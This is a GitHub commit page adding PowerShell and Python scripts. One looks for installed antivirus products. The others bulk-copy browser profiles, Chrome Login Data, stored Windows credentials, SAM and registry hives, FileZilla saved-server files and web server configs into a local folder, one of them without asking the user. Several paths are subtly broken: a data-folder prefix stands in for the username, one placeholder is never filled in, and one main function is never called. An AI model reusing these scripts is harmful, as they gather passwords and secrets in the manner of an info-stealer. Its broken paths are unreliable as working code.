Skip to content

Commit

Permalink
Add files via upload
Browse files Browse the repository at this point in the history
  • Loading branch information
DefinetlyNotAI authored May 10, 2024
1 parent 8be2c5d commit 9908de5
Show file tree
Hide file tree
Showing 12 changed files with 835 additions and 0 deletions.
42 changes: 42 additions & 0 deletions CODE/Antivirus_Finder.ps1
Original file line number Diff line number Diff line change
@@ -0,0 +1,42 @@
# Define the list of antivirus names to search for
$antivirusNames = @("Norton", "McAfee", "Avast", "AVG", "Bitdefender", "Kaspersky", "ESET", "Sophos", "TrendMicro", "Comodo", "Panda", "Avira", "F-Secure", "GData", "Malwarebytes", "Spybot", "ZoneAlarm", "Webroot")

# Check if the 'tree' command is available
if (-not (Get-Command tree -ErrorAction SilentlyContinue)) {
Write-Host "tree command not found. Please install or use an alternative method."
exit
}

# Run the tree command and capture its output
$treeOutput = tree /f

# Split the output into lines
$lines = $treeOutput -split "`n"

# Remove duplicates from the antivirus names list
$antivirusNames = $antivirusNames | Sort-Object | Get-Unique

# Initialize variables for progress tracking
$completedLines = 0
$foundAntivirus = @()

# Process each line
foreach ($line in $lines) {
$completedLines++

# Check for antivirus names in the line, ensuring it's a complete word
foreach ($name in $antivirusNames) {
if ($line -match "\b$name\b") {
$foundAntivirus += $name
}
}
}

# Print the total lines processed and what was found to the console
Write-Host "Processed $completedLines lines."
if ($foundAntivirus.Count -gt 0) {
Write-Host "Found Antivirus:"
$foundAntivirus | Sort-Object -Unique | ForEach-Object { Write-Host $_ }
} else {
Write-Host "No antivirus found."
}
59 changes: 59 additions & 0 deletions CODE/Browser_And_Policies_Miner.ps1
Original file line number Diff line number Diff line change
@@ -0,0 +1,59 @@
# Define the list of source paths with placeholders
$sourcePaths = @(
"C:\Users\{}\AppData\Local\Microsoft\Edge\User Data\Default\Network",
"C:\Users\{}\AppData\Local\Google\Chrome\User Data\Default\Network",
"C:\Users\{}\AppData\Roaming\Mozilla\Firefox\Profiles",
"C:\Users\{}\AppData\Roaming\Opera Software\Opera Stable\Network",
"C:\Users\{}\AppData\Roaming\Opera Software\Opera GX Stable\Network",
'C:\\WINDOWS\\system32\\config\\SAM',
'C:\\Windows\\System32\\config',
'C:\\Windows\\System32\\GroupPolicy',
'C:\\Windows\\System32\\GroupPolicyUsers',
'C:\\Windows\\System32\\winevt\\Logs'
)

# Define the list of identifiers for renaming
$identifiers = @(
"Edge",
"Chrome",
"Firefox",
"OperaStable",
"OperaGXStable",
"SAM",
"SystemConfig",
"GroupPolicy",
"GroupPolicyUsers",
"WindowsEventLogs"
)

# Get the current user's name
$currentUser = $env:USERNAME

# Define the base directory for the destination
$baseDirectory = "DATA"

# Loop through each source path
for ($i = 0; $i -lt $sourcePaths.Count; $i++) {
# Replace the placeholder with the current user's name
$sourcePath = $sourcePaths[$i] -replace '\{\}', $currentUser
$identifier = $identifiers[$i]

# Define the destination path
$destinationPath = Join-Path -Path $baseDirectory -ChildPath "USER_$identifier"

# Check if the source path exists
if (Test-Path $sourcePath) {
# Attempt to copy the folder to the DATA directory and rename it
try {
Copy-Item -Path $sourcePath -Destination $destinationPath -Recurse -Force
# Print the message to the console
Write-Host "Copied $sourcePath to $destinationPath"
} catch {
# Print the error message to the console
Write-Host "Failed to copy $sourcePath to $destinationPath. Error: $_"
}
} else {
# Print the message to the console
Write-Host "Source path $sourcePath does not exist."
}
}
52 changes: 52 additions & 0 deletions CODE/Copy_Media.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,52 @@
import os
import shutil
from tqdm import tqdm


def estimate_folder_size(folder_path):
"""Estimate the size of a folder."""
total_size = 0
for dirpath, dirnames, filenames in os.walk(str(folder_path)):
for f in filenames:
fp = os.path.join(str(dirpath), f)
total_size += os.path.getsize(fp)
return total_size


def copy_folders(source_paths, destination_path):
"""Copy folders to a specified destination with a progress bar."""
for source_path in tqdm(source_paths, desc="Copying folders"):
shutil.copytree(str(source_path), os.path.join(str(destination_path), os.path.basename(str(source_path))))


def main():
# Get the current user's username
username = os.getlogin()

# Define the source folders using the current user's username
source_folders = [
f"C:/Users/{username}/Music",
f"C:/Users/{username}/Pictures",
f"C:/Users/{username}/Videos"
]

# Get the script's directory
script_dir = os.path.dirname(os.path.realpath(__file__))
# Define the destination folder as a DATA folder within the script's directory
destination_folder = os.path.join(script_dir, "DATA")

# Create the DATA folder if it doesn't exist
if not os.path.exists(destination_folder):
os.makedirs(destination_folder)

# Estimate the sizes of the source folders
estimated_sizes = {}
for folder in source_folders:
if os.path.exists(folder):
estimated_sizes[folder] = estimate_folder_size(folder)
else:
print(f"ERROR: Folder not found: {folder}")

# Proceed with copying the folders without user confirmation
copy_folders(source_folders, destination_folder)
print("INFO: Folders copied successfully.")
128 changes: 128 additions & 0 deletions CODE/Copy_System_Files.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,128 @@
import getpass
import os
import shutil
import subprocess


USER_NAME = getpass.getuser()
DESTINATION_PREFIX = "DATA\\" + USER_NAME

paths_and_name = [
"%windir%\\repair\\sam", "SAM Backup",
"%windir%\\System32\\config\\RegBack\\SAM", "SAM Registry Backup",
"%windir%\\repair\\system", "System Backup",
"%windir%\\repair\\software", "Software Backup",
"%windir%\\repair\\security", "Security Backup",
"%windir%\\debug\\NetSetup.log", "NetSetup Debug Log",
"%windir%\\iis6.log", "IIS 6 Log",
"%windir%\\system32\\logfiles\\httperr\\httperr1.log", "HTTP Error Log",
"C:\\sysprep.inf", "Sysprep Configuration File",
"C:\\sysprep\\sysprep.inf", "Sysprep Configuration File (Alternate)",
"C:\\sysprep\\sysprep.xml", "Sysprep XML Configuration",
"%windir%\\Panther\\Unattended.xml", "Unattended Windows Setup XML",
"C:\\inetpub\\wwwroot\\Web.config", "IIS Web Configuration",
"%windir%\\system32\\config\\AppEvent.Evt", "Application Event Log",
"%windir%\\system32\\config\\SecEvent.Evt", "Security Event Log",
"%windir%\\system32\\config\\default.sav", "Default Registry Backup",
"%windir%\\system32\\config\\security.sav", "Security Registry Backup",
"%windir%\\system32\\config\\software.sav", "Software Registry Backup",
"%windir%\\system32\\config\\system.sav", "System Registry Backup",
"%windir%\\system32\\inetsrv\\config\\applicationHost.config", "IIS Application Host Configuration",
"%windir%\\system32\\inetsrv\\config\\schema\\ASPNET_schema.xml", "ASP.NET Schema XML",
"%windir%\\System32\\drivers\\etc\\hosts", "Hosts File",
"%windir%\\System32\\drivers\\etc\\networks", "Networks File",
"C:\\inetpub\\logs\\LogFiles", "IIS Log Files",
"C:\\inetpub\\wwwroot", "IIS Web Root",
"C:\\inetpub\\wwwroot\\default.htm", "Default IIS Web Page",
"C:\\laragon\\bin\\php\\php.ini", "Laragon PHP Configuration",
"C:\\php\\php.ini", "PHP Configuration",
f"C:\\Users\\{DESTINATION_PREFIX}\\AppData\\Local\\FileZilla", "FileZilla Local Data",
f"C:\\Users\\{DESTINATION_PREFIX}\\AppData\\Local\\FileZilla\\cache.xml", "FileZilla Cache XML",
f"C:\\Users\\{DESTINATION_PREFIX}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data",
"Google Chrome Login Data",
f"C:\\Users\\{DESTINATION_PREFIX}\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat", "Windows User Class Data",
f"C:\\Users\\{DESTINATION_PREFIX}\\AppData\\Local\\Programs\\Microsoft VS Code\\updater.log", "VS Code Updater Log",
f"C:\\Users\\{DESTINATION_PREFIX}\\AppData\\Roaming\\Code\\User\\settings.json", "VS Code User Settings",
f"C:\\Users\\{DESTINATION_PREFIX}\\AppData\\Roaming\\Code\\User\\workspaceStorage", "VS Code Workspace Storage",
f"C:\\Users\\{DESTINATION_PREFIX}\\AppData\\Roaming\\FileZilla\\filezilla-server.xml",
"FileZilla Server Configuration",
f"C:\\Users\\{DESTINATION_PREFIX}\\AppData\\Roaming\\FileZilla\\filezilla.xml", "FileZilla Client Configuration",
f"C:\\Users\\{DESTINATION_PREFIX}\\AppData\\Roaming\\FileZilla\\logs", "FileZilla Logs",
f"C:\\Users\\{DESTINATION_PREFIX}\\AppData\\Roaming\\FileZilla\\recentservers.xml", "FileZilla Recent Servers",
f"C:\\Users\\{DESTINATION_PREFIX}\\AppData\\Roaming\\FileZilla\\sitemanager.xml", "FileZilla Site Manager",
f"C:\\Users\\{DESTINATION_PREFIX}\\AppData\\Roaming\\Microsoft\\Credentials", "Microsoft Credentials",
"C:\\Users\\{username}\\AppData\\Roaming\\Microsoft\\Outlook", "Outlook User Data",
"C:\\Users\\{DESTINATION_PREFIX}\\NTUSER.DAT", "NT User Profile",
"C:\\wamp\\bin\\php\\php.ini", "WAMP PHP Configuration",
"C:\\Windows\\php.ini", "Windows PHP Configuration",
"C:\\Windows\\System32\\config\\NTUSER.DAT", "NT User Profile (System)",
"C:\\Windows\\System32\\drivers\\etc\\hosts", "Hosts File (System)",
"C:\\Windows\\System32\\inetsrv\\config\\administration.config", "IIS Administration Configuration",
"C:\\Windows\\System32\\inetsrv\\config\\applicationHost.config", "IIS Application Host Configuration (System)",
"C:\\Windows\\System32\\inetsrv\\config\\applicationHost.hist", "IIS Application Host History",
"C:\\Windows\\System32\\inetsrv\\config\\monitoring\\global.xml", "IIS Monitoring Configuration",
"C:\\Windows\\System32\\inetsrv\\config\\redirection.config", "IIS Redirection Configuration",
"C:\\Windows\\System32\\inetsrv\\config\\schema\\applicationHost.xsd", "IIS Application Host Schema",
"C:\\Windows\\System32\\inetsrv\\config\\schema\\ASPNET_schema.xml", "ASP.NET Schema XML (System)",
"C:\\Windows\\System32\\inetsrv\\config\\schema\\dotnetconfig.xsd", ".NET Configuration Schema",
"C:\\Windows\\System32\\inetsrv\\config\\schema\\IISProvider_schema.xml", "IIS Provider Schema",
"C:\\Windows\\System32\\inetsrv\\config\\schema\\IIS_schema.xml", "IIS Schema",
"C:\\Windows\\System32\\inetsrv\\config\\schema\\rewrite_schema.xml", "Rewrite Schema",
"C:\\Windows\\System32\\LogFiles\\W3SVC1", "IIS Log Files (W3SVC1)",
"C:\\Windows\\system.ini", "System Configuration",
"C:\\xampp\\apache\\conf\\extra\\httpd-ssl.conf", "Apache SSL Configuration",
"C:\\xampp\\apache\\conf\\extra\\httpd-vhosts.conf", "Apache Virtual Hosts Configuration",
"C:\\xampp\\apache\\conf\\httpd.conf", "Apache HTTP Server Configuration",
"C:\\xampp\\apache\\logs\\access.log", "Apache Access Log",
"C:\\xampp\\apache\\logs\\php_error_log", "Apache PHP Error Log",
"C:\\xampp\\phpMyAdmin\\config.inc.php", "phpMyAdmin Configuration",
"C:\\xampp\\php\\php.ini", "XAMPP PHP Configuration",
"C:\\xampp\\xampp-control.log", "XAMPP Control Log"
]


def copy_and_rename_files(paths_and_name):
for file_path, file_name in zip(paths_and_name[::2], paths_and_name[1::2]):
try:
file_path = os.path.expandvars(file_path)
if not os.path.exists(file_path):
print(f"The file {file_path} does not exist.")
print()
continue

shutil.copy2(file_path, os.getcwd())
new_file_name = f"{USER_NAME}_{file_name}"
new_file_path = os.path.join(os.getcwd(), new_file_name)
if os.path.exists(new_file_path):
os.remove(new_file_path) # Delete the existing file
os.rename(os.path.join(os.getcwd(), os.path.basename(file_path)), new_file_path)
print(f"INFO: Copied and renamed file to {new_file_name}")
print()
except FileNotFoundError:
print(f"ERROR: The file at path {file_path} was not found.")
print()
except Exception as e:
print(f"ERROR: An error occurred: {e}")
print()


def execute_tree_batch_file():
# Define the name of the batch file
batch_file_name = "Tree_Command.bat"

# Check if the batch file exists in the current working directory
if os.path.exists(batch_file_name):
# Construct the command to run the batch file
command = [batch_file_name]

# Run the batch file and wait for it to finish
subprocess.run(command, check=True)
print(f"INFO: {batch_file_name} has been executed successfully.")
print()
else:
print(f"ERROR: {batch_file_name} not found in the current working directory.")
print()


execute_tree_batch_file()
copy_and_rename_files(paths_and_name)
Loading

0 comments on commit 9908de5

Please sign in to comment.